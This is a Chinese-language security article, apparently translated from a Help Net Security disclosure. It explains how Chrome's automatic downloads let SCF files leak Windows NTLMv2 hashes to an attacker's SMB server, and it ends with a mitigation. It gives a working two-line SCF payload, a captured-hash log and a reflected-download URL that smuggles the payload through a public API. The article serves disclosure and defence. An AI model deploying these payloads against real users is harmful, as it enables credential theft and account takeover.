
寫(xiě)在前面的話(huà)
利用Windows操作系統(tǒng)的SMB文件共享協(xié)議來(lái)竊取身份憑證的攻擊技術(shù)長(zhǎng)久以來(lái)都一直存在,這是一個(gè)難以避免的問(wèn)題。雖然這種技術(shù)有多種實(shí)現(xiàn)方式,但大多都局限于本地網(wǎng)絡(luò)內(nèi)。在過(guò)去的十多年里,還沒(méi)有人公開(kāi)演示過(guò)針對(duì)瀏覽器(除了IE和Edge之外)的SMB認(rèn)證攻擊,但是在這篇文章中我們將介紹一種Windows憑證竊取攻擊,這種技術(shù)會(huì)影響目前最流行的Web瀏覽器-ChromeChrome(默認(rèn)配置下),以及支持該瀏覽器的所有Windows版本。
問(wèn)題描述
在默認(rèn)配置下,Chrome瀏覽器會(huì)自動(dòng)下載它認(rèn)為安全的文件,而且不會(huì)提示用戶(hù)選擇文件的存儲(chǔ)位置(使用的是預(yù)設(shè)地址)。從安全的角度來(lái)看,這個(gè)功能是存在問(wèn)題的,但如果惡意文件想要運(yùn)行的話(huà),還是需要用戶(hù)手動(dòng)點(diǎn)擊“打開(kāi)/運(yùn)行”按鈕才可以。不過(guò),如果下載下來(lái)的文件不需要用戶(hù)交互就能夠執(zhí)行惡意操作的話(huà),那又該怎么辦呢?真的有哪一類(lèi)文件可以做到這一點(diǎn)嗎?
Windows資源管理器Shell命令文件(.scf文件)是一種鮮為人知的文件類(lèi)型,可以追溯到Windows98。可能只有Windows98/Me/NT/2000/XP用戶(hù)可能遇到過(guò)這種文件,當(dāng)時(shí)它主要用來(lái)顯示桌面快捷方式。它本質(zhì)上是一種文本文件,其中有一部分可以確定一段需要運(yùn)行的命令(僅限于運(yùn)行資源管理器和切換桌面)和一個(gè)圖標(biāo)文件的位置。下面是一個(gè)SCF文件的內(nèi)容示例:
[Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop
隨著Windows快捷方式LNK文件的誕生,當(dāng)文件顯示在資源管理器中時(shí),圖標(biāo)地址會(huì)進(jìn)行自動(dòng)解析。將圖標(biāo)地址指向一臺(tái)遠(yuǎn)程SMB服務(wù)器已經(jīng)是眾所周知的攻擊向量了,這種技術(shù)利用了Windows在訪(fǎng)問(wèn)遠(yuǎn)程文件服務(wù)時(shí)的自動(dòng)化身份驗(yàn)證功能。但是從攻擊的角度來(lái)看,LNK和SCF之間的區(qū)別在哪里呢?自從 震網(wǎng)病毒 出現(xiàn)之后,Chrome會(huì)強(qiáng)制將LNK文件的后綴名改為.download,但SCF文件并沒(méi)有得到相同的待遇。
因此,我們可以利用一個(gè)僅含兩行代碼的SCF文件來(lái)欺騙Windows系統(tǒng):
[Shell] IconFile=\\170.170.170.170\icon
文件下載完成之后,當(dāng)用戶(hù)在Windows資源管理器中打開(kāi)下載目錄的那一瞬間,請(qǐng)求就會(huì)被觸發(fā),隨后文件便會(huì)被刪除。整個(gè)過(guò)程根本不需要用戶(hù)點(diǎn)擊或打開(kāi)下載文件,因?yàn)?a target="_blank" href="http://www.liuyangsem.com" class="UBBWordLink">Windows資源管理器會(huì)自動(dòng)嘗試獲取“icon”(圖標(biāo))內(nèi)容。攻擊者所設(shè)置的遠(yuǎn)程SMB服務(wù)器隨時(shí)準(zhǔn)備著捕獲目標(biāo)用戶(hù)的用戶(hù)名以及NTLMv2密碼哈希,他們可以將這些數(shù)據(jù)用于離線(xiàn)破解或偽造用戶(hù)身份并訪(fǎng)問(wèn)在線(xiàn)服務(wù)(SMB中繼攻擊)。捕獲到的信息大致如下:
[*] SMB Captured - 2017-05-15 13:10:44 +0200 NTLMv2 Response Captured from 173.203.29.182:62521 -173.
203.29.182USER:Bosko DOMAIN:Master OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:98daf3
9c3a253bbe4a289e7a746d4b24NT_CLIENT_HALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000
0020000000000000000000000 Bosko::Maste5667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f8
3e06fcdd201ccf26d91cd9e326e0000000
002000000000000000000000
上面這個(gè)例子泄漏了目標(biāo)用戶(hù)的用戶(hù)名、所在域(Domain)、以及NTLMv2密碼哈希。
需要注意的是,無(wú)論你的系統(tǒng)設(shè)置如何,SCF文件在Windows資源管理器中都不會(huì)顯示其后綴名(.scf)。因此,類(lèi)似picture.jpg.scf這樣的文件名在Windows資源管理器中顯示的就是picture.jpg。因此,這也使得利用SCF文件的攻擊活動(dòng)更加難以被發(fā)現(xiàn)了。

影響
密碼泄漏
對(duì)于企業(yè)和政府用戶(hù)來(lái)說(shuō),密碼泄漏將有可能導(dǎo)致內(nèi)網(wǎng)提權(quán)和數(shù)據(jù)泄漏等風(fēng)險(xiǎn)出現(xiàn)。對(duì)于使用了微軟賬號(hào)(MSA)而非本地賬號(hào)的Windows8/10的用戶(hù)來(lái)說(shuō),密碼泄漏將會(huì)影響用戶(hù)所有的微軟服務(wù),例如OneDrive、Outlook.com、Office365、Office Online、Skype、以及Xbox Live等等。與此同時(shí),密碼重用等問(wèn)題還會(huì)導(dǎo)致更多的賬號(hào)發(fā)生泄漏。
從密碼破解的可行性方面來(lái)說(shuō),近些年來(lái),基于GPU的密碼破解技術(shù)得到了巨大的發(fā)展。現(xiàn)在,一張Nvidia GTX 1080的計(jì)算能力約為1600MH/s,即每秒可計(jì)算16億哈希值。對(duì)于一個(gè)長(zhǎng)度為8個(gè)字符的密碼,一臺(tái)配備了四塊GTX1080的密碼破解機(jī)可以在不到一天時(shí)間里遍歷整個(gè)密碼空間(包括大小寫(xiě)字母+常用特殊字符(!@#$%&))。
SMB中繼攻擊
像Microsoft Exchange(或Outlook)這種允許遠(yuǎn)程訪(fǎng)問(wèn)的以及使用NTLM作為身份驗(yàn)證方法的服務(wù)將有可能受到SMB中繼攻擊,攻擊者將能夠偽裝成受害者來(lái)訪(fǎng)問(wèn)用戶(hù)的數(shù)據(jù),而且還不用破解用戶(hù)的密碼。Jonathan Brossard在BlackHat黑客大會(huì)上已經(jīng)向全世界演示過(guò)這種方法了,感興趣的同學(xué)可以觀(guān)看這個(gè)演示視頻【 傳送門(mén) 】。在某些特殊情況下,攻擊者甚至還可以在中繼攻擊的幫助下,利用竊取來(lái)的證書(shū)入侵目標(biāo)網(wǎng)絡(luò),并獲取內(nèi)部網(wǎng)絡(luò)的訪(fǎng)問(wèn)權(quán)。
針對(duì)SCF的反病毒產(chǎn)品
當(dāng)瀏覽器無(wú)法提示這方面的安全風(fēng)險(xiǎn)時(shí),我們只能指望其他的安全解決方案能夠保護(hù)我們的安全了。于是我們對(duì)當(dāng)前領(lǐng)先的安全解決方案進(jìn)行了測(cè)試,以確定它們是否能夠識(shí)別這類(lèi)惡意下載文件。但不幸的是,所有測(cè)試產(chǎn)品都無(wú)法將這類(lèi)文件標(biāo)記為可疑對(duì)象。不過(guò),想要識(shí)別出可疑的SCF文件其實(shí)也并不難,我們只要檢查文件中的IconFile參數(shù)所指向的地址就可以了,所以我們希望廠(chǎng)商在將來(lái)能夠增加這種檢測(cè)機(jī)制。
反射文件下載(RFD)攻擊
注:這種攻擊技術(shù)最早是由OrenHafif發(fā)現(xiàn)的,感興趣的同學(xué)可以參考這篇文章【 參考資料】。
由于SCF格式比較簡(jiǎn)單,而我們的攻擊只需要兩行代碼,而且可定制程度較高,因此它也非常適用于RFD攻擊。
RFD通常針對(duì)的是RESTfulAPI節(jié)點(diǎn),因?yàn)樗鼈兺ǔT试S我們?cè)赨RL路徑中設(shè)置文件的擴(kuò)展名。Chrome不會(huì)直接下載API響應(yīng)內(nèi)容類(lèi)型,因此我們需要在“href=”屬性中添加下載鏈接來(lái)強(qiáng)制瀏覽器完成下載。
我們以WorldBankAPI為例進(jìn)行演示:
http://api.worldbank.org/v2/country/indicator/iwantyourhash.scf?prefix=
%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp
由于字符“%0B”無(wú)法打印出來(lái),因此Chrome將會(huì)自動(dòng)將響應(yīng)內(nèi)容下載并保存為iwantyourhash.scf文件。當(dāng)保存這個(gè)文件的下載目錄被打開(kāi)之后,Windows將會(huì)嘗試與遠(yuǎn)程SMB服務(wù)器進(jìn)行身份驗(yàn)證,并暴露目標(biāo)用戶(hù)的認(rèn)證哈希。
緩解方案
為了防止這種通過(guò)SCF文件所進(jìn)行的NTLMv2憑證竊取攻擊,我們可以通過(guò)下列方法禁用Chrome瀏覽器的自動(dòng)下載功能:設(shè)置->顯示高級(jí)設(shè)置->勾選“在下載之前詢(xún)問(wèn)保存文件路徑”選項(xiàng)。除此之外,我們也希望谷歌能夠在將來(lái)的Chrome瀏覽器版本中解決這個(gè)問(wèn)題。
* 參考來(lái)源: helpnetsecurity , FB小編Alpha_h4ck編譯,轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM
|